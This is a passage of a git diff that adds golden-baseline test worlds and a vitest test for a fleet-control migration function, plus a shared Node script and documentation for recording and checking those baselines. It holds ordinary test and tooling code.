notice, because that clock is read only for the + // convergence budget and never stamps an `updatedAt`. The no-op sleep keeps + // a frozen clock from turning that budget's break condition + // (`active-route.ts:289-292`) into real waiting. Every world converges on + // the first attestation attempt, so no delay is ever scheduled. + routeAttestation: { sleep: async () => {} }, + }); +} + +// --------------------------------------------------------------------------- +// SUCCESS WORLD +// --------------------------------------------------------------------------- + +/** + * Assembles the success world. Four records, visited in the scheduler's frozen + * `localeCompare` order over `:` because no canary tag + * is declared: `extfull`, `plainmulti`, `platformonly`, `readysteady`. + */ +function successWorld(): WorldRun { + const ops: MigrationOpLogEntry[] = []; + const fenceViolations: string[] = []; + const specs = new Map(); + const backends = new Map(); + const specsByDatabaseId = new Map(); + // Two immutable-external backends, because a deployment's trusted platform + // profile is a property of the backend that describes it: `steady` still + // describes the profile its records already carry, while `moved` describes a + // new state artifact and a narrower egress policy — which is exactly what + // makes `platformonly` a platform-only change and nothing else. + const steady = new RecordingImmutableBackend( + ops, + specsByDatabaseId, + fenceViolations, + ); + const moved = new RecordingImmutableBackend( + ops, + specsByDatabaseId, + fenceViolations, + ); + moved.stateArtifactDigest = MOVED_STATE_ARTIFACT_DIGEST; + moved.policyHosts = ['narrow.example.test']; + const plain = new RecordingPlainBackend( + ops, + specsByDatabaseId, + fenceViolations, + ); + + // -- extfull: an immutable-external FULL migration whose D1 ledger is already + // at the target schema, so its single `applyMigrations` call is the + // zero-pending ledger VERIFICATION. Its entry `rollbackRelease` becomes the + // committed record's `retiringRelease`, which is what drives `retire-post`. + const extfullOrigin = baseSpec('extfull'); + const extfullSpec = baseSpec('extfull', { + modules: [{ name: 'worker.js', content: 'export default { release: 2 }' }], + }); + const extfullActive = externalRelease(extfullOrigin); + const extfullRollback = externalRelease( + baseSpec('extfull', { + modules: [ + { name: 'worker.js', content: 'export default { release: 0 }' }, + ], + }), + ); + const extfullTarget = steady.platformTargetFor(extfullOrigin); + const extfull = baseRecord('extfull', 'workers-for-platforms', { + artifactVersion: extfullActive.artifactVersion, + desiredSpecDigest: extfullActive.specDigest, + activeRelease: extfullActive, + rollbackRelease: extfullRollback, + platformTarget: extfullTarget, + outboundPolicy: extfullTarget.outboundPolicy, + platformResources: steady.platformResourcesFor(extfullOrigin), + applicationBindings: EMPTY_APPLICATION, + applicationResources: [], + }); + + // -- plainmulti: the NON-EXTERNAL record. Its backend declares no + // `immutableExternalArtifacts`, so `immutableExternal` is false and the + // migration takes the plain path; its platform-authored spec declares three + // D1 versions against a record at version 1, so the per-version loop runs + // twice and emits `applyMigrations:2` then `applyMigrations:3`. + const plainmultiOrigin = baseSpec('plainmulti', { + authoredBy: 'platform', + egressProxyService: undefined, + }); + const plainmultiSpec = baseSpec('plainmulti', { + authoredBy: 'platform', + schemaVersion: 3, + }); + const plainmulti = baseRecord('plainmulti', 'plain-worker', { + desiredSpecDigest: deploymentSpecDigest(plainmultiOrigin), + }); + plain.seedLive( + 'plainmulti', + liveDeployment({ + tenantTag: 'plainmulti', + environment: ENVIRONMENT, + scriptName: plainmulti.scriptName, + databaseId: plainmulti.databaseId, + durableObjectBindings: [], + serviceBindings: [], + queueProducerBindings: [], + plainTextBindings: {}, + secretNames: ['DEPLOYMENT_IDENTITY_SECRET', 'MAINTENANCE_ADMIN_SECRET'], + artifactVersion: 'v1', + desiredSpecDigest: deploymentSpecDigest(plainmultiOrigin), + schemaVersion: 1, + maintenance: HEALTHY_MAINTENANCE, + }), + ); + + // -- platformonly: the specification is unchanged, but the backend's trusted + // platform profile has moved (a new state artifact digest and a narrower + // egress policy), so `platformOnlyChange` selects the platform-only path. + // Its active release lags the record's schema version, which is what makes + // `effectiveAppliedPlatformTarget` pin the prior D1 columns. + const platformonlySpec = baseSpec('platformonly'); + const platformonlyActive = externalRelease(platformonlySpec); + const platformonlyPriorTarget: ExternalPlatformTargetDescription = { + ...steady.platformTargetFor(platformonlySpec), + d1SchemaVersion: 2, + d1SchemaHistoryDigest: PLATFORM_ONLY_PRIOR_D1_HISTORY_DIGEST, + }; + const platformonly = baseRecord('platformonly', 'workers-for-platforms', { + schemaVersion: 2, + artifactVersion: platformonlyActive.artifactVersion, + desiredSpecDigest: platformonlyActive.specDigest, + activeRelease: platformonlyActive, + platformTarget: platformonlyPriorTarget, + outboundPolicy: platformonlyPriorTarget.outboundPolicy, + platformResources: { + maintenanceCapabilityPublicKey: MAINTENANCE_PUBLIC_KEY, + stateWorker: { + scriptName: externalStateScriptName(platformonlySpec), + artifactVersion: 'state-v1', + artifactDigest: platformonlyPriorTarget.stateArtifactDigest, + durableObjectBindings: [], + namespaceIds: [], + }, + egressProxy: { + scriptName: externalEgressProxyScriptName(platformonlySpec), + artifactVersion: 'egress-v1', + artifactDigest: EGRESS_ARTIFACT_DIGEST, + ...platformonlyPriorTarget.outboundPolicy, + }, + }, + applicationBindings: EMPTY_APPLICATION, + applicationResources: [], + }); + + // -- readysteady: an unchanged deployment reconciled again. It carries a + // `retiringRelease`, so the pre-dispatch retirement runs; its live + // maintenance is unarmed, so the ready path's re-arm runs; and its + // `settledSettlementKey` already names the release it serves, so + // `skipWhenAlreadySettled` SKIPS — which is what pins that flag, since a + // steady-state reconcile that settled every pass would bill a fleet for + // standing still. + const readysteadySpec = baseSpec('readysteady'); + const readysteadyActive = externalRelease(readysteadySpec); + const readysteadyRollback = externalRelease( + baseSpec('readysteady', { + modules: [ + { name: 'worker.js', content: 'export default { release: 0 }' }, + ], + }), + ); + const readysteadyRetiring = externalRelease( + baseSpec('readysteady', { + modules: [ + { name: 'worker.js', content: 'export default { release: -1 }' }, + ], + }), + ); + const readysteadyTarget = steady.platformTargetFor(readysteadySpec); + const readysteady = baseRecord('readysteady', 'workers-for-platforms', { + artifactVersion: readysteadyActive.artifactVersion, + desiredSpecDigest: readysteadyActive.specDigest, + activeRelease: readysteadyActive, + rollbackRelease: readysteadyRollback, + retiringRelease: readysteadyRetiring, + platformTarget: readysteadyTarget, + outboundPolicy: readysteadyTarget.outboundPolicy, + platformResources: steady.platformResourcesFor(readysteadySpec), + applicationBindings: EMPTY_APPLICATION, + applicationResources: [], + settledSettlementKey: fleetSettlementKey({ + tenantTag: 'readysteady', + environment: ENVIRONMENT, + specDigest: readysteadyActive.specDigest, + artifactVersion: readysteadyActive.artifactVersion, + }), + }); + + const records = [extfull, plainmulti, platformonly, readysteady]; + for (const [record, spec, backend] of [ + [extfull, extfullSpec, steady], + [plainmulti, plainmultiSpec, plain], + [platformonly, platformonlySpec, moved], + [readysteady, readysteadySpec, steady], + ] as const) { + specs.set(deploymentKey(record), spec); + backends.set(deploymentKey(record), backend); + specsByDatabaseId.set(record.databaseId, spec); + } + + steady.releases.set( + extfullActive.physicalScriptName, + seededRelease(extfullOrigin, extfull), + ); + steady.releases.set( + readysteadyActive.physicalScriptName, + seededRelease(readysteadySpec, readysteady, UNARMED_MAINTENANCE), + ); + steady.routedScriptNames.set('extfull', extfullActive.physicalScriptName); + steady.routedScriptNames.set( + 'readysteady', + readysteadyActive.physicalScriptName, + ); + moved.releases.set( + platformonlyActive.physicalScriptName, + seededRelease(platformonlySpec, platformonly), + ); + moved.routedScriptNames.set( + 'platformonly', + platformonlyActive.physicalScriptName, + ); + + return { records, specs, backends, ops, fenceViolations }; +} + +/** + * Runs the success world and returns the records `migrateFleet` produced + * beside the op log it made getting there. + */ +export async function runFleetMigrationSuccessBaseline(): Promise<{ + readonly result: readonly FleetRecord[]; + readonly ops: readonly MigrationOpLogEntry[]; +}> { + const world = successWorld(); + const result = await runWorld(world); + if (world.fenceViolations.length > 0) { + throw new Error(`fence violated: ${world.fenceViolations.join('; ')}`); + } + return { result, ops: world.ops }; +} + +// --------------------------------------------------------------------------- +// STOP WORLD +// --------------------------------------------------------------------------- + +/** The refusal the stop world's second record is guaranteed to produce. */ +const STOP_REFUSAL = + "deployment 'bravo:production' has active backend switch 'candidate-deployed'"; + +/** + * Assembles the stop world. Three records whose keys sort so that the record + * that COMPLETES is visited first, the record that is REFUSED second, and the + * record that stays UNTOUCHED third. + */ +function stopWorld(): WorldRun { + const ops: MigrationOpLogEntry[] = []; + const fenceViolations: string[] = []; + const specs = new Map(); + const backends = new Map(); + const specsByDatabaseId = new Map(); + const plain = new RecordingPlainBackend( + ops, + specsByDatabaseId, + fenceViolations, + ); + + // -- alpha completes: a plain-path full migration over one pending D1 + // version, so the frozen log proves the drain really did the first record's + // whole body before it reached the refusal. + const alphaOrigin = baseSpec('alpha', { authoredBy: 'platform' }); + const alphaSpec = baseSpec('alpha', { + authoredBy: 'platform', + schemaVersion: 2, + }); + const alpha = baseRecord('alpha', 'plain-worker', { + desiredSpecDigest: deploymentSpecDigest(alphaOrigin), + }); + plain.seedLive( + 'alpha', + liveDeployment({ + tenantTag: 'alpha', + environment: ENVIRONMENT, + scriptName: alpha.scriptName, + databaseId: alpha.databaseId, + durableObjectBindings: [], + serviceBindings: [], + queueProducerBindings: [], + plainTextBindings: {}, + secretNames: ['DEPLOYMENT_IDENTITY_SECRET', 'MAINTENANCE_ADMIN_SECRET'], + artifactVersion: 'v1', + desiredSpecDigest: deploymentSpecDigest(alphaOrigin), + schemaVersion: 1, + maintenance: HEALTHY_MAINTENANCE, + }), + ); + + // -- bravo is refused. Its backend switch is mid-flight, so + // `assertBackendSwitchInactive` throws in the admit preamble — AFTER the + // lease and the leased reread, which is why the frozen log carries exactly + // that two-token prefix for this record and nothing more. The subphase is + // deliberately one of the literals the external-migration namespace also + // uses: the body emits no `backendSwitchIntent.subphase` token at all, so + // the shared literal cannot collide in the op log. + const bravoSpec = baseSpec('bravo'); + const bravo = baseRecord('bravo', 'plain-worker', { + desiredSpecDigest: deploymentSpecDigest(bravoSpec), + backendSwitchIntent: { + kind: 'backend-switch', + tenantTag: 'bravo', + environment: ENVIRONMENT, + prior: { + scriptName: 'worker-bravo', + artifactVersion: 'plain-v1', + specDigest: deploymentSpecDigest(bravoSpec), + databaseId: 'db-bravo', + databaseName: 'database-bravo', + durableObjectBindings: [], + namespaceIds: [], + secretNames: ['DEPLOYMENT_IDENTITY_SECRET'], + applicationResources: [], + customDomain: { + id: 'domain-bravo', + hostname: 'worker-bravo.example.test', + }, + }, + targetSpecDigest: deploymentSpecDigest(bravoSpec), + targetApplication: EMPTY_APPLICATION, + target: { + maintenanceCapabilityPublicKey: MAINTENANCE_PUBLIC_KEY, + stateArtifactDigest: STATE_ARTIFACT_DIGEST, + stateDurableObjectHistoryDigest: STATE_DURABLE_OBJECT_HISTORY_DIGEST, + egressArtifactDigest: EGRESS_ARTIFACT_DIGEST, + d1SchemaVersion: bravoSpec.schemaVersion, + d1SchemaHistoryDigest: deploymentSpecDigest(bravoSpec), + outboundPolicy: canonicalDeploymentEgressPolicy({ + policyId: externalPlatformResourceGroupId(bravoSpec), + tenantTag: 'bravo', + environment: ENVIRONMENT, + allowedHosts: ['api.example.test'], + }), + }, + rollbackUntil: '2026-06-08T00:00:00.000Z', + subphase: 'candidate-deployed', + }, + }); + + // -- charlie is never visited: the refusal above ends the drain, so this + // record contributes NO op at all. That absence is the observable stop. + const charlieSpec = baseSpec('charlie', { authoredBy: 'platform' }); + const charlie = baseRecord('charlie', 'plain-worker', { + desiredSpecDigest: deploymentSpecDigest(charlieSpec), + }); + + const records = [alpha, bravo, charlie]; + for (const [record, spec] of [ + [alpha, alphaSpec], + [bravo, bravoSpec], + [charlie, charlieSpec], + ] as const) { + specs.set(deploymentKey(record), spec); + backends.set(deploymentKey(record), plain); + specsByDatabaseId.set(record.databaseId, spec); + } + + return { records, specs, backends, ops, fenceViolations }; +} + +/** + * Runs the stop world and returns the refusal `migrateFleet` rejected with + * beside the op log it made getting there. + * + * The clock fence is checked BEFORE the caught error is reported, so a + * mis-wired clock surfaces as a fence failure rather than masquerading as a + * plausible stop; and the caught value must be exactly the chosen refusal, so + * a collaborator fault or a different validation refusal can never be frozen + * in its place. + */ +export async function runFleetMigrationStopBaseline(): Promise<{ + readonly error: string; + readonly ops: readonly MigrationOpLogEntry[]; +}> { + const world = stopWorld(); + let caught: unknown; + let settled = false; + try { + await runWorld(world); + settled = true; + } catch (error) { + caught = error; + } + if (world.fenceViolations.length > 0) { + throw new Error(`fence violated: ${world.fenceViolations.join('; ')}`); + } + if (settled) { + throw new Error('the stop world resolved instead of refusing'); + } + if (!(caught instanceof Error) || caught.message !== STOP_REFUSAL) { + throw new Error( + `the stop world refused with '${String(caught)}' instead of '${STOP_REFUSAL}'`, + ); + } + return { error: caught.message, ops: world.ops }; +} diff --git a/packages/fleet-control/test/fleet-migration-golden.test.ts b/packages/fleet-control/test/fleet-migration-golden.test.ts new file mode 100644 index 00000000..dadeb4a7 --- /dev/null +++ b/packages/fleet-control/test/fleet-migration-golden.test.ts @@ -0,0 +1,29 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it } from 'vitest'; +import { + MIGRATION_STOP_BASELINE_ERROR, + MIGRATION_STOP_BASELINE_OPS, + MIGRATION_SUCCESS_BASELINE_OPS, + MIGRATION_SUCCESS_BASELINE_RESULT, +} from './fixtures/fleet-migration-baseline.js'; +import { + runFleetMigrationStopBaseline, + runFleetMigrationSuccessBaseline, +} from './fixtures/fleet-migration-worlds.js'; + +describe('fleet migration golden baselines', () => { + it('migrates the recorded success world into the frozen golden records and op log', async () => { + const { result, ops } = await runFleetMigrationSuccessBaseline(); + + expect(result).toStrictEqual(MIGRATION_SUCCESS_BASELINE_RESULT); + expect(ops).toStrictEqual(MIGRATION_SUCCESS_BASELINE_OPS); + }); + + it('stops the recorded stop world on the frozen golden refusal and op log', async () => { + const { error, ops } = await runFleetMigrationStopBaseline(); + + expect(error).toStrictEqual(MIGRATION_STOP_BASELINE_ERROR); + expect(ops).toStrictEqual(MIGRATION_STOP_BASELINE_OPS); + }); +}); diff --git a/scripts/CLAUDE.md b/scripts/CLAUDE.md index dc68576c..4f601216 100644 --- a/scripts/CLAUDE.md +++ b/scripts/CLAUDE.md @@ -19,14 +19,29 @@ Repository documentation, architecture, and publication checks. Markdown syntax satisfy fleet control's own validators. Lives here because `.dependency-cruiser.cjs` forbids anything under `packages/` from importing fleet control. +- `baseline-recorder.mjs` — the write/`--check` machinery the three + golden-baseline recorders below share: argument parsing, the type-transform + re-execution, the `.js`-to-`.ts` resolution hook, repository-root path + resolution, rendering of the generated literals, the structural comparison, + and the run loop. `runBaselineRecorder(config)` takes a recorder's whole + domain — its world module and the one file it writes, both as + repository-relative strings, how to run the world, the generated file's + header, imports, export names, JSDoc and `satisfies` types, its summary line, + and the noun its `--check` messages read as — so each recorder below is domain + config and nothing else. Each configured path is BOTH what gets resolved and + what gets printed, so no message can name a file the run did not touch, and + the recorder's own path in the usage line and the re-recording hint is derived + from its `import.meta.url` rather than restated. Machinery, not a gate: the + gate is each recorder's in-suite title. - `record-drain-baseline.mjs` — records fleet control's `collectFleetInventory` golden baseline from the hand-authored provider world in `packages/fleet-control/test/fixtures/fleet-inventory-drain-world.ts` and writes only `…/fixtures/fleet-inventory-drain-baseline.ts`, formatting it with the repository's Biome. `--check` re-derives both values from the unchanged world, compares them structurally against the committed module's exports, - prints every structural difference, and exits non-zero without writing. This - script is deliberately NOT part of CI: the in-suite equivalence title in + prints every structural difference, and exits non-zero without writing. Domain + config over `baseline-recorder.mjs`. This script is deliberately NOT part of + CI: the in-suite equivalence title in `packages/fleet-control/test/cloudflare-client.test.ts` is the automatic behavioral gate, and `--check` is the re-recording aid an author runs by hand. - `record-audit-baseline.mjs` — records fleet control's `auditFleetDrift` @@ -36,10 +51,24 @@ Repository documentation, architecture, and publication checks. Markdown syntax `…/fixtures/fleet-audit-baseline.ts`, formatting it with the repository's Biome. `--check` re-derives both values from the unchanged world, compares them structurally against the committed module's exports, prints every - structural difference, and exits non-zero without writing. This script is - deliberately NOT part of CI: the in-suite equivalence title in + structural difference, and exits non-zero without writing. Domain config over + `baseline-recorder.mjs`. This script is deliberately NOT part of CI: the + in-suite equivalence title in `packages/fleet-control/test/fleet-audit-golden.test.ts` is the automatic behavioral gate, and `--check` is the re-recording aid an author runs by hand. +- `record-migration-baseline.mjs` — records fleet control's `migrateFleet` + golden baselines from the two hand-authored worlds in + `packages/fleet-control/test/fixtures/fleet-migration-worlds.ts` and writes + only `…/fixtures/fleet-migration-baseline.ts`, formatting it with the + repository's Biome: the records the success world's drain returns and its op + log, and the refusal the stop world's drain rejects with beside the op log + that proves first-error stop parity. `--check` re-derives all four values from + the unchanged worlds, compares them structurally against the committed + module's exports, prints every structural difference, and exits non-zero + without writing. Domain config over `baseline-recorder.mjs`. This script is + deliberately NOT part of CI: the in-suite equivalence titles in + `packages/fleet-control/test/fleet-migration-golden.test.ts` are the automatic + behavioral gate, and `--check` is the re-recording aid an author runs by hand. - `workerd-server-lifecycle.mjs` — the one `wrangler dev` start/stop protocol shared by the FlowSafe workerd harnesses and the conformance harness. - `workerd-server-lifecycle.test.mjs` — its vitest suite, run through the root diff --git a/scripts/baseline-recorder.mjs b/scripts/baseline-recorder.mjs new file mode 100644 index 00000000..53b4b23d --- /dev/null +++ b/scripts/baseline-recorder.mjs @@ -0,0 +1,334 @@ +// SPDX-License-Identifier: Apache-2.0 + +// The write/`--check` machinery every golden-baseline recorder shares. +// +// A golden baseline freezes the observable behavior of one function — the value +// it returns and the exact sequence of calls it makes onto its collaborators — +// as TypeScript literals recorded from a hand-authored deterministic world, so +// a later rewrite of that function can be proven behavior-equivalent. The +// mechanics are identical for every such baseline: parse `--check`, re-execute +// under Node's type transform, import the world, run it, and then either render +// the literals into exactly one generated file or compare the committed file +// against a fresh re-derivation. Only the DOMAIN differs, and each recorder +// supplies its domain as the config object documented on `runBaselineRecorder`. +// +// `--check` compares STRUCTURALLY — ordered arrays, ordered object keys, exact +// leaf values — so the compatibility gate never depends on formatter behavior, +// prints every difference, and exits non-zero without writing. +// +// This module is machinery, not a gate: each recorder's in-suite equivalence +// title is the automatic behavioral gate, and `--check` is the re-recording aid +// an author runs by hand. + +import { spawnSync } from 'node:child_process'; +import { existsSync, writeFileSync } from 'node:fs'; +import { register } from 'node:module'; +import { dirname, join, relative, resolve } from 'node:path'; +import process from 'node:process'; +import { fileURLToPath, pathToFileURL } from 'node:url'; + +const REPOSITORY_ROOT = dirname(dirname(fileURLToPath(import.meta.url))); +// `pnpm exec` rather than a hard-coded node_modules/.bin path, matching +// build-api-docs.mjs; the .bin shim location is a pnpm implementation detail. +const PNPM = process.platform === 'win32' ? 'pnpm.cmd' : 'pnpm'; + +// Every path a recorder names is repository-relative, resolved here against the +// one `REPOSITORY_ROOT` this module already computes for itself. A recorder +// therefore carries no path machinery, and — because the string it configures +// is BOTH what gets resolved and what gets printed — no message can ever name a +// file the run did not touch. +function repositoryPath(relativePath) { + return join(REPOSITORY_ROOT, relativePath); +} + +/** The recorder's own repository-relative path, as its messages print it. */ +function scriptPath(config) { + return relative(REPOSITORY_ROOT, fileURLToPath(config.scriptUrl)); +} + +function usage(config, message) { + process.stderr.write( + `${message}\nusage: node ${scriptPath(config)} [--check]\n`, + ); + process.exit(2); +} + +function parseArguments(config, argv) { + let check = false; + for (const argument of argv) { + if (argument === '--check') check = true; + else usage(config, `unknown argument '${argument}'`); + } + return { check }; +} + +// The fixture chain (and the function it drives) is TypeScript with parameter +// properties, which Node's default strip-only mode refuses, so the recorder +// re-executes itself once with full type transformation. +function reexecuteWithTypeTransform(config, argv) { + const result = spawnSync( + process.execPath, + [ + '--experimental-transform-types', + '--no-warnings', + fileURLToPath(config.scriptUrl), + ...argv, + ], + { stdio: 'inherit' }, + ); + if (result.error) throw result.error; + process.exit(result.status ?? 1); +} + +// Test sources import sibling modules with `.js` specifiers, which Node does +// not remap to the `.ts` files on disk. +function registerTypeScriptResolution() { + const hook = ` + import { existsSync } from 'node:fs'; + import { fileURLToPath } from 'node:url'; + export async function resolve(specifier, context, next) { + const relative = specifier.startsWith('.') || specifier.startsWith('/'); + if (relative && specifier.endsWith('.js')) { + const target = new URL(specifier, context.parentURL); + if (!existsSync(fileURLToPath(target))) { + const candidate = new URL(\`\${target.href.slice(0, -3)}.ts\`); + if (existsSync(fileURLToPath(candidate))) { + return next(candidate.href, context); + } + } + } + return next(specifier, context); + } + `; + register(`data:text/javascript,${encodeURIComponent(hook)}`); +} + +function quoted(value) { + const escaped = value + .replaceAll('\\', '\\\\') + .replaceAll("'", "\\'") + .replaceAll('\n', '\\n') + .replaceAll('\r', '\\r') + .replaceAll('\t', '\\t'); + return `'${escaped}'`; +} + +function primitive(value) { + if (value === undefined) return 'undefined'; + if (value === null) return 'null'; + if (typeof value === 'string') return quoted(value); + if (typeof value === 'number' || typeof value === 'boolean') { + return String(value); + } + throw new Error(`unsupported baseline value type '${typeof value}'`); +} + +function isComposite(value) { + return typeof value === 'object' && value !== null; +} + +function propertyKey(key) { + return /^[A-Za-z_$][A-Za-z0-9_$]*$/u.test(key) ? key : quoted(key); +} + +// Emits readable TypeScript; `biome check --write` owns the final layout. +function render(value) { + if (!isComposite(value)) return primitive(value); + if (Array.isArray(value)) { + if (value.length === 0) return '[]'; + return `[${value.map((item) => `${render(item)},`).join('\n')}]`; + } + const entries = Object.entries(value); + if (entries.length === 0) return '{}'; + return `{${entries + .map(([key, item]) => `${propertyKey(key)}: ${render(item)},`) + .join('\n')}}`; +} + +function baselineSource(config, baseline) { + const declarations = config.exports.map( + (declaration) => + `${declaration.jsDoc}\nexport const ${declaration.name} = ${render( + baseline[declaration.key], + )} as const satisfies ${declaration.satisfies};`, + ); + return `// SPDX-License-Identifier: Apache-2.0 + +${config.header} + +${config.imports} + +${declarations.join('\n\n')} +`; +} + +function formatGeneratedFile(baselineFile) { + const result = spawnSync( + PNPM, + ['exec', 'biome', 'check', '--write', baselineFile], + { cwd: REPOSITORY_ROOT, stdio: ['ignore', 'ignore', 'inherit'] }, + ); + if (result.error) throw result.error; + if (result.status !== 0) { + throw new Error('biome refused the generated baseline'); + } +} + +function describeValue(value) { + if (isComposite(value)) { + return Array.isArray(value) + ? `array(${value.length})` + : `object{${Object.keys(value).join(',')}}`; + } + return primitive(value); +} + +/** + * Structural comparison: ordered arrays, ordered object keys, exact leaf + * values. Formatting and quoting are deliberately outside the comparison. + */ +function structuralDifferences(committed, derived, path, differences) { + if (isComposite(committed) !== isComposite(derived)) { + differences.push( + `${path}: committed ${describeValue(committed)} / derived ${describeValue(derived)}`, + ); + return differences; + } + if (!isComposite(committed)) { + if (committed !== derived) { + differences.push( + `${path}: committed ${primitive(committed)} / derived ${primitive(derived)}`, + ); + } + return differences; + } + if (Array.isArray(committed) !== Array.isArray(derived)) { + differences.push( + `${path}: committed ${describeValue(committed)} / derived ${describeValue(derived)}`, + ); + return differences; + } + if (Array.isArray(committed)) { + if (committed.length !== derived.length) { + differences.push( + `${path}: committed ${committed.length} item(s) / derived ${derived.length} item(s)`, + ); + } + const length = Math.max(committed.length, derived.length); + for (let index = 0; index < length; index += 1) { + const onlyDerived = index >= committed.length; + if (onlyDerived || index >= derived.length) { + const side = onlyDerived ? 'derived only' : 'committed only'; + const value = onlyDerived ? derived[index] : committed[index]; + differences.push(`${path}[${index}]: ${side} ${describeValue(value)}`); + continue; + } + structuralDifferences( + committed[index], + derived[index], + `${path}[${index}]`, + differences, + ); + } + return differences; + } + const committedKeys = Object.keys(committed); + const derivedKeys = Object.keys(derived); + if (committedKeys.join(',') !== derivedKeys.join(',')) { + differences.push( + `${path}: committed keys [${committedKeys.join(', ')}] / derived keys [${derivedKeys.join(', ')}]`, + ); + } + for (const key of new Set([...committedKeys, ...derivedKeys])) { + structuralDifferences( + committed[key], + derived[key], + `${path}.${key}`, + differences, + ); + } + return differences; +} + +async function main(config, argv) { + const { check } = parseArguments(config, argv); + if (process.features.typescript !== 'transform') { + reexecuteWithTypeTransform(config, argv); + } + registerTypeScriptResolution(); + const baselineFile = repositoryPath(config.baselineFile); + const baseline = await config.run( + await import(repositoryPath(config.worldModule)), + ); + + if (!check) { + writeFileSync(baselineFile, baselineSource(config, baseline)); + formatGeneratedFile(baselineFile); + process.stdout.write( + `wrote ${config.baselineFile}: ${config.summary(baseline)}\n`, + ); + return 0; + } + + if (!existsSync(baselineFile)) { + process.stderr.write( + `${config.noun} baseline is missing: ${config.baselineFile}\n` + + `run \`node ${scriptPath(config)}\` on the pre-rewrite tree\n`, + ); + return 1; + } + const committed = await import(baselineFile); + const differences = config.exports.flatMap((declaration) => + structuralDifferences( + committed[declaration.name], + baseline[declaration.key], + declaration.key, + [], + ), + ); + if (differences.length === 0) { + process.stdout.write( + `${config.noun} baseline matches ${config.baselineFile}: ${config.summary(baseline)}\n`, + ); + return 0; + } + process.stderr.write( + `${config.noun} baseline drifted from ${config.baselineFile}\n` + + `${differences.length} structural difference(s), committed vs re-derived from the unchanged world:\n` + + `${differences.map((difference) => ` ${difference}`).join('\n')}\n`, + ); + return 1; +} + +/** + * Runs one golden-baseline recorder, when its own file is the invoked entry. + * + * The config is the recorder's whole domain, and nothing else — no path + * machinery, and no message-only path string that could drift out of step with + * the file the run actually reads or writes: + * - `scriptUrl` — the recorder's `import.meta.url`, which gates this call, names + * the file the type-transform re-execution re-runs, and yields the + * repository-relative path the usage line and the re-recording hint print. + * - `noun` — the domain noun the `--check` messages read as + * " baseline is missing/matches/drifted from". + * - `worldModule` — the hand-authored world, repository-relative. + * - `baselineFile` — the one file write mode writes, repository-relative. The + * same string is resolved for every read and write AND printed in every + * message, so the two can never disagree. + * - `run(worldModule)` — drives the world(s) and returns the baseline object + * the `exports` keys index. + * - `header` / `imports` — the generated file's leading comment block and its + * import lines, verbatim. + * - `exports` — one entry per generated export: `name`, the baseline `key` it + * renders (which also names it in `--check` differences), its `jsDoc` block, + * and the `satisfies` type expression that gates the literals. + * - `summary(baseline)` — the one-line count the write and match messages + * report. + */ +export async function runBaselineRecorder(config) { + const invokedPath = process.argv[1] + ? pathToFileURL(resolve(process.argv[1])).href + : undefined; + if (invokedPath !== config.scriptUrl) return; + process.exit(await main(config, process.argv.slice(2))); +} diff --git a/scripts/record-audit-baseline.mjs b/scripts/record-audit-baseline.mjs index d0d724bc..58056610 100644 --- a/scripts/record-audit-baseline.mjs +++ b/scripts/record-audit-baseline.mjs @@ -21,133 +21,15 @@ // node scripts/record-audit-baseline.mjs # write the baseline // node scripts/record-audit-baseline.mjs --check # verify, exit 1 on drift -import { spawnSync } from 'node:child_process'; -import { existsSync, writeFileSync } from 'node:fs'; -import { register } from 'node:module'; -import { dirname, join, resolve } from 'node:path'; -import process from 'node:process'; -import { fileURLToPath, pathToFileURL } from 'node:url'; - -const REPOSITORY_ROOT = dirname(dirname(fileURLToPath(import.meta.url))); -const FIXTURE_DIRECTORY = join( - REPOSITORY_ROOT, - 'packages', - 'fleet-control', - 'test', - 'fixtures', -); -const WORLD_MODULE = join(FIXTURE_DIRECTORY, 'fleet-audit-world.ts'); -const BASELINE_FILE = join(FIXTURE_DIRECTORY, 'fleet-audit-baseline.ts'); -const BASELINE_RELATIVE_PATH = - 'packages/fleet-control/test/fixtures/fleet-audit-baseline.ts'; -// `pnpm exec` rather than a hard-coded node_modules/.bin path, matching -// record-drain-baseline.mjs and build-api-docs.mjs; the .bin shim location is -// a pnpm implementation detail. -const PNPM = process.platform === 'win32' ? 'pnpm.cmd' : 'pnpm'; - -function usage(message) { - process.stderr.write( - `${message}\nusage: node scripts/record-audit-baseline.mjs [--check]\n`, - ); - process.exit(2); -} - -function parseArguments(argv) { - let check = false; - for (const argument of argv) { - if (argument === '--check') check = true; - else usage(`unknown argument '${argument}'`); - } - return { check }; -} - -// The fixture chain (and the audit function it drives) is TypeScript with -// parameter properties, which Node's default strip-only mode refuses, so the -// script re-executes itself once with full type transformation. -function reexecuteWithTypeTransform(argv) { - const result = spawnSync( - process.execPath, - [ - '--experimental-transform-types', - '--no-warnings', - fileURLToPath(import.meta.url), - ...argv, - ], - { stdio: 'inherit' }, - ); - if (result.error) throw result.error; - process.exit(result.status ?? 1); -} - -// Test sources import sibling modules with `.js` specifiers, which Node does -// not remap to the `.ts` files on disk. -function registerTypeScriptResolution() { - const hook = ` - import { existsSync } from 'node:fs'; - import { fileURLToPath } from 'node:url'; - export async function resolve(specifier, context, next) { - const relative = specifier.startsWith('.') || specifier.startsWith('/'); - if (relative && specifier.endsWith('.js')) { - const target = new URL(specifier, context.parentURL); - if (!existsSync(fileURLToPath(target))) { - const candidate = new URL(\`\${target.href.slice(0, -3)}.ts\`); - if (existsSync(fileURLToPath(candidate))) { - return next(candidate.href, context); - } - } - } - return next(specifier, context); - } - `; - register(`data:text/javascript,${encodeURIComponent(hook)}`); -} - -function quoted(value) { - const escaped = value - .replaceAll('\\', '\\\\') - .replaceAll("'", "\\'") - .replaceAll('\n', '\\n') - .replaceAll('\r', '\\r') - .replaceAll('\t', '\\t'); - return `'${escaped}'`; -} - -function primitive(value) { - if (value === undefined) return 'undefined'; - if (value === null) return 'null'; - if (typeof value === 'string') return quoted(value); - if (typeof value === 'number' || typeof value === 'boolean') { - return String(value); - } - throw new Error(`unsupported baseline value type '${typeof value}'`); -} - -function isComposite(value) { - return typeof value === 'object' && value !== null; -} - -function propertyKey(key) { - return /^[A-Za-z_$][A-Za-z0-9_$]*$/u.test(key) ? key : quoted(key); -} - -// Emits readable TypeScript; `biome check --write` owns the final layout. -function render(value) { - if (!isComposite(value)) return primitive(value); - if (Array.isArray(value)) { - if (value.length === 0) return '[]'; - return `[${value.map((item) => `${render(item)},`).join('\n')}]`; - } - const entries = Object.entries(value); - if (entries.length === 0) return '{}'; - return `{${entries - .map(([key, item]) => `${propertyKey(key)}: ${render(item)},`) - .join('\n')}}`; -} - -function baselineSource({ findings, ops }) { - return `// SPDX-License-Identifier: Apache-2.0 - -/** 